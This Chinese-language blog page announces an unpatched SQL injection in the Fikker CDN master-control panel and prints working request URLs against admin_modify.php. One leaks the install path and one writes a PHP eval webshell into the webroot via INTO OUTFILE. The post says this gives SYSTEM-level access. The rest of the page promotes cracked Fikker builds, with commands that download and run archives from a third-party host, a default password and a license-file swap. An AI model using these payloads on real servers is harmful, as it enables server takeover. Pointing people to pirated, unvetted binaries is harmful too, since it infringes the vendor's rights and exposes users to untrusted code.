重要提示!FIKKER主控0DAY漏洞!

重要提示!FIKKER主控0DAY漏洞!

请各位使用fikkerCDN软件的用户阅读以下内容。

Fikker 是一款面向 CDN/站长 的专业级网站缓存(Webcache)和反向代理服务器软件(Reversed Proxy Server)。近日在一起安全事件中發現fikker主控多個php文件存在高危注入漏洞,可獲取Webshell to System.

目前官方尚未修復該漏洞。

漏洞級別:嚴重

影響版本:所有

#爆目錄
admin_modify.php?id=-1%20union%20select%201,@@basedir,3,4,5,6,7,8,9,10,11,12,13
#寫一句話(目錄如果改了,可以通過下面的語句加些/這些讓PHP報錯)
admin_modify.php?id=1%20and%201=2%20union%20select%200x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e,9,10,11,12,13%20into%20outfile%20%27d:/FikkerCDN/webroot/fikcdn/admin/test.php%27

後記:

如果僅僅是注入,也是最多爆爆庫啥的,進進後台改改數據之類。但是由於開發人員缺乏安全意識,主控依賴的Apache,MySql等,都是以System權限在Windows 上運行,這意味著只要有注入就可以導出WebShell,只要有Webshell就有System.

 

原文来自金猪大佬:https://zhu.vn/archives/1981

本站相关内容

Fikker CDN -3.7.4到3.7.6-windows-x86-64_全功能破解版下载

Fikker CDN3.7.6-linux_全功能破解版下载

Fikker CDN3.7.6-linux_全功能破解版下载

Fikker CDN3.7.6-linux_全功能破解版下载

重要提示!FIKKER主控0DAY漏洞!:https://www.homedt.cn/1614.html

破解说明:

安装7Zip解压:(这条命令只在centos7上有用 其他的大家百度搜索安装7z的方法)
yum install -y p7zip

乌班图的:apt install p7zip-full

下载包:
wget https://wl.cheshirex.com/uploads/201807315212192578537.7z

解压包:
7za x 201807315212192578537.7z

进入目录:
cd fikkerd-3.7.6-linux-x86-64/

写入权限:
chmod +x ./bin/fikkerd

执行启动:
sh fikkerd.sh start

后台:{ip}:6780
密码:123456

 

yum install -y p7zip 这条命令只在centos7上有用

UBUNTU最好用apt install p7zip-full
p7zip的话 -bash: 7za: command not found

[root@li894-84 ~]# yum install -y p7zip
No package p7zip available.
Error: Nothing to do

centos 7 使用最新源才行,其他版本的不行。
用下面的编译吧。

wget http://nchc.dl.sourceforge.net/project/p7zip/p7zip/9.20.1/p7zip_9.20.1_src_all.tar.bz2
tar -jxvf p7zip_9.20.1_src_all.tar.bz2
cd p7zip_9.20.1
make
make install

执行启动:
./fikkerd.sh install && ./fikkerd.sh start

 

fikker安装
fikker安装
fikker破解版
fikker破解版

 

下载地址:https://wl.cheshirex.com/uploads/201807315252092179147.zip

 

 

fikker Windows破解版:https://www.homedt.cn/1309.html

 

Fikker CDN -3.7.4到3.7.6-windows-x86-64_全功能破解版下载

Fikker CDN -3.7.4到3.7.6-windows-x86-64_全功能破解版下载

重要提示!FIKKER主控0DAY漏洞!:https://www.homedt.cn/1614.html

破解说明:

\binding这个目录里面的东西删掉,然后把binding.key放进去就好了。

Fikker CDN 全功能破解版介绍:

Fikker 是一款面向 CDN/站长 的专业级网站缓存(Webcache)和反向代理服务器软件(Reversed Proxy Server)。

此破解版包含
3.7.4
3.7.5
3.7.6
三个版本,其中3.7.6为官方网站的最新版破解。

Fikker CDN破解版
Fikker CDN破解版
Fikker CDN破解版
Fikker CDN破解版

下载地址:https://wl.cheshirex.com/uploads/201807315161833218405.zip

 

fikker linux破解版:https://www.homedt.cn/1314.html